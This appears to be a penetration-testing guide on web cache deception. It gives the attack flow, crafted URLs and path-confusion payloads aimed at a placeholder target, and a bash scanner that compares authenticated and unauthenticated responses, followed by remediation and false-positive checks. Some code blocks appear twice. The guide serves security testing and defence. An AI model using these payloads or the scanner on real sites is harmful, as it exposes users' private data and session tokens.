Web Cache Deception
Web cache deception tricks a caching server (CDN, reverse proxy) into storing an authenticated user's private response by appending a static file extension to a dynamic URL. Unlike cache poisoning (which modifies cached responses), cache deception makes the cache store responses it shouldn't cache at all.
Information
Warning
How Cache Deception Works
Attack Flow
- 1. Attacker crafts URL:
https://target.com/account/profile/nonexistent.css - 2. Victim (authenticated) clicks the link
- 3. Application ignores the file extension and returns the profile page (with PII, tokens)
- 4. CDN/cache sees the .css extension → caches the response as a static file
- 5. Attacker requests the same URL (unauthenticated) → receives the cached private content
Web Cache Deception Attack Flow
Cache Poisoning vs Cache Deception
Basic Cache Deception Attack
# Step 1: Find a page with private data
# e.g., /account/profile shows user's email, name, API keys
# Step 2: Append a cacheable extension
https://target.com/account/profile/anything.css
https://target.com/account/profile/x.js
https://target.com/account/profile/logo.png
https://target.com/account/profile/style.woff2
# Step 3: Check if the app still returns the profile page
# (Most frameworks ignore trailing path segments)
curl -v https://target.com/account/profile/test.css
# If the response contains private data → app is vulnerable
# Step 4: Check cache headers
# X-Cache: HIT → response was served from cache
# X-Cache: MISS → first request, being cached now
# Age: 120 → cached for 120 seconds
# Cache-Control: public → cache considers this cacheable
# Step 5: Send the URL to victim, then access it yourself
curl https://target.com/account/profile/test.css
# If you see the VICTIM's profile data → cache deception works# Step 1: Find a page with private data
# e.g., /account/profile shows user's email, name, API keys
# Step 2: Append a cacheable extension
https://target.com/account/profile/anything.css
https://target.com/account/profile/x.js
https://target.com/account/profile/logo.png
https://target.com/account/profile/style.woff2
# Step 3: Check if the app still returns the profile page
# (Most frameworks ignore trailing path segments)
curl -v https://target.com/account/profile/test.css
# If the response contains private data → app is vulnerable
# Step 4: Check cache headers
# X-Cache: HIT → response was served from cache
# X-Cache: MISS → first request, being cached now
# Age: 120 → cached for 120 seconds
# Cache-Control: public → cache considers this cacheable
# Step 5: Send the URL to victim, then access it yourself
curl https://target.com/account/profile/test.css
# If you see the VICTIM's profile data → cache deception worksPath Confusion Techniques
# Path parameter injection:
https://target.com/account/profile;.css
https://target.com/account/profile%2f.css
# Encoded separators:
https://target.com/account/profile%23.css # Fragment as separator
https://target.com/account/profile%3f.css # Query as separator
# Double encoding:
https://target.com/account/profile%252f.css
# Null byte injection (legacy servers):
https://target.com/account/profile%00.css
# Directory traversal in path:
https://target.com/static/../account/profile
# CDN sees /static/ path → caches it
# App normalizes to /account/profile → returns private page
# Multiple extensions:
https://target.com/account/profile.json.css
https://target.com/account/profile/..%2fprofile.css# Path parameter injection:
https://target.com/account/profile;.css
https://target.com/account/profile%2f.css
# Encoded separators:
https://target.com/account/profile%23.css # Fragment as separator
https://target.com/account/profile%3f.css # Query as separator
# Double encoding:
https://target.com/account/profile%252f.css
# Null byte injection (legacy servers):
https://target.com/account/profile%00.css
# Directory traversal in path:
https://target.com/static/../account/profile
# CDN sees /static/ path → caches it
# App normalizes to /account/profile → returns private page
# Multiple extensions:
https://target.com/account/profile.json.css
https://target.com/account/profile/..%2fprofile.cssAutomation Script
#!/bin/bash
# Web Cache Deception scanner
TARGET="https://target.com"
PATH_TO_TEST="/account/profile"
# Extensions commonly cached by CDNs
EXTENSIONS=("css" "js" "png" "jpg" "gif" "ico" "svg" "woff" "woff2" "pdf")
echo "[*] Testing Web Cache Deception on ${TARGET}${PATH_TO_TEST}"
for ext in "${EXTENSIONS[@]}"; do
URL="${TARGET}${PATH_TO_TEST}/test.${ext}"
# First request (simulate victim)
RESP=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}" \
-H "Cookie: session=VICTIM_SESSION" "$URL")
CODE=$(echo $RESP | cut -d'|' -f1)
SIZE=$(echo $RESP | cut -d'|' -f2)
# Second request (simulate attacker, no auth)
RESP2=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}" "$URL")
CODE2=$(echo $RESP2 | cut -d'|' -f1)
SIZE2=$(echo $RESP2 | cut -d'|' -f2)
if [ "$CODE" = "200" ] && [ "$CODE2" = "200" ] && [ "$SIZE2" -gt 100 ]; then
echo "[+] VULNERABLE! Extension .$ext returns $SIZE2 bytes unauthenticated"
echo " URL: $URL"
fi
done#!/bin/bash
# Web Cache Deception scanner
TARGET="https://target.com"
PATH_TO_TEST="/account/profile"
# Extensions commonly cached by CDNs
EXTENSIONS=("css" "js" "png" "jpg" "gif" "ico" "svg" "woff" "woff2" "pdf")
echo "[*] Testing Web Cache Deception on ${TARGET}${PATH_TO_TEST}"
for ext in "${EXTENSIONS[@]}"; do
URL="${TARGET}${PATH_TO_TEST}/test.${ext}"
# First request (simulate victim)
RESP=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}" \
-H "Cookie: session=VICTIM_SESSION" "$URL")
CODE=$(echo $RESP | cut -d'|' -f1)
SIZE=$(echo $RESP | cut -d'|' -f2)
# Second request (simulate attacker, no auth)
RESP2=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}" "$URL")
CODE2=$(echo $RESP2 | cut -d'|' -f1)
SIZE2=$(echo $RESP2 | cut -d'|' -f2)
if [ "$CODE" = "200" ] && [ "$CODE2" = "200" ] && [ "$SIZE2" -gt 100 ]; then
echo "[+] VULNERABLE! Extension .$ext returns $SIZE2 bytes unauthenticated"
echo " URL: $URL"
fi
doneTesting Checklist
- 1. Find URLs returning private/authenticated content
- 2. Append static extensions (.css, .js, .png) and check if the private content still returns
- 3. Check for cache headers (X-Cache, Age, CF-Cache-Status)
- 4. Make an authenticated request, then an unauthenticated request to the same URL
- 5. If unauthenticated request returns private data → cache deception confirmed
- 6. Test path confusion variants if basic extension appending fails
- 7. Test API endpoints that return JSON (cache /api/user/me.css)
Evidence Collection
Step 1 Screenshot: Authenticated request showing private data at the deceptive URL
Step 2 Screenshot: Unauthenticated request to same URL showing cached private data
Cache Headers: X-Cache: HIT showing the content was served from cache
CVSS Range: PII exposure: 6.5–7.5 | Session token in cache: 8.1–9.1
Remediation
- Return 404 for invalid paths: If /account/profile/test.css is not a real resource, return 404 instead of the profile page.
- Set Cache-Control headers: Add
Cache-Control: no-store, privateto all authenticated responses. - Cache key on cookies/auth: Configure CDN to vary cache on authentication state.
- Strict path matching: Configure the application to only respond to exact registered routes.
False Positive Identification
- Cache serving static content: If the cached response only contains public/non-sensitive content, there's no deception even if caching occurs — verify the cached response includes PII, tokens, or session data.
- Vary header handling: CDNs using Vary: Cookie effectively prevent deception — check if the cache key includes authentication-relevant headers.
- Short TTL mitigation: Very short cache TTLs (seconds) significantly reduce exploitability — note TTL in your report but don't dismiss without checking race-condition feasibility.